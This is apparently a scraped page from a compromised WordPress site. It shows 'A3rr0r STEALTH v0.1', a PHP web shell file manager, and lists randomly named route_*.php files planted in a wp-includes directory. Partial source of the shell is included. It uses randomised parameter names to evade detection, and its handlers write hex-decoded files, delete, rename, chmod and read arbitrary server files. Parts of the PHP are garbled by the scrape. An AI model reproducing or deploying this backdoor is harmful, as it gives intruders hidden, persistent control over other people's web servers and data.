A3rr0r Pro Manager
Path:
/www/wwwroot/www.smszp.cn/wp-includes/js/dist/script-modules/route
.
|
Edit
|
Rename
..
|
Edit
|
Rename
index.js
|
Edit
|
Rename
index.min.asset.php
|
Edit
|
Rename
index.min.js
|
Edit
|
Rename
route.php
|
Edit
|
Rename
route_3651.php
|
Edit
|
Rename
route_4035.php
|
Edit
|
Rename
route_6511.php
|
Edit
|
Rename
route_8127.php
|
Edit
|
Rename
route_8352.php
|
Edit
|
Rename
route_8660.php
|
Edit
|
Rename
'a_'.substr(md5(rand()),0,4), 'd'=>'d_'.substr(md5(rand()),0,4), 'n'=>'n_'.substr(md5(rand()),0,4), 'v'=>'v_'.substr(md5(rand()),0,4)]; $K = $_SESSION['k']; $root = __DIR__; $abs = realpath($_GET['dir'] ?? $root) ?: $root; if ($act = $_POST[$K['a']] ?? null) { $target = $abs . DIRECTORY_SEPARATOR . ($_POST[$K['n']] ?? ''); switch ($act) { case 'save': $data = $_POST[$K['d']] ?? ''; if(file_put_contents($target, $data === "" ? "" : hex2bin($data), ((int)($_POST['idx']??0) === 0 ? 0 : FILE_APPEND)) !== false) die("OK"); die("ERR"); case 'del': die((is_dir($target) ? @rmdir($target) : @unlink($target)) ? "OK" : "ERR"); case 'ren': die(@rename($target, $abs . DIRECTORY_SEPARATOR . $_POST[$K['v']]) ? "OK" : "ERR"); case 'mod': die(@chmod($target, octdec($_POST[$K['v']])) ? "OK" : "ERR"); } } if (isset($_GET['read'])) die(@file_get_contents($abs . DIRECTORY_SEPARATOR . $_GET['read'])); $items = @scandir($abs) ?: []; $folders = []; $files = []; foreach ($items as $i) { if ($i == '.' || $i == '..') continue; is_dir($abs . DIRECTORY_SEPARATOR . $i) ? $folders[] = $i : $files[] = $i; } natcasesort($folders); natcasesort($files); $all = array_merge(array_map(fn($f)=>['d', $f], $folders), array_map(fn($f)=>['f', $f], $files)); function get_perms($path) { return substr(sprintf('%o', @fileperms($path)), -4); } function format_size($path) { $b = @filesize($path); return $b >= 1048576 ? round($b/1048576, 2).' MB' : ($b >= 1024 ? round($b/1024, 2).' KB' : $b.' B'); } ?>
A3rr0r STEALTH v0.1
A3rr0r STEALTH v0.1
Upload File
Home
Path:
root
/
'.htmlspecialchars($p).'
'; } ?>
Name
Size
Perms
Actions
📁
=$f?>
📄
=$f?>
=$is_d ? 'Dir' : format_size($fp)?>
=get_perms($fp)?>
EDIT
REN
MOD
DEL
Save File
Close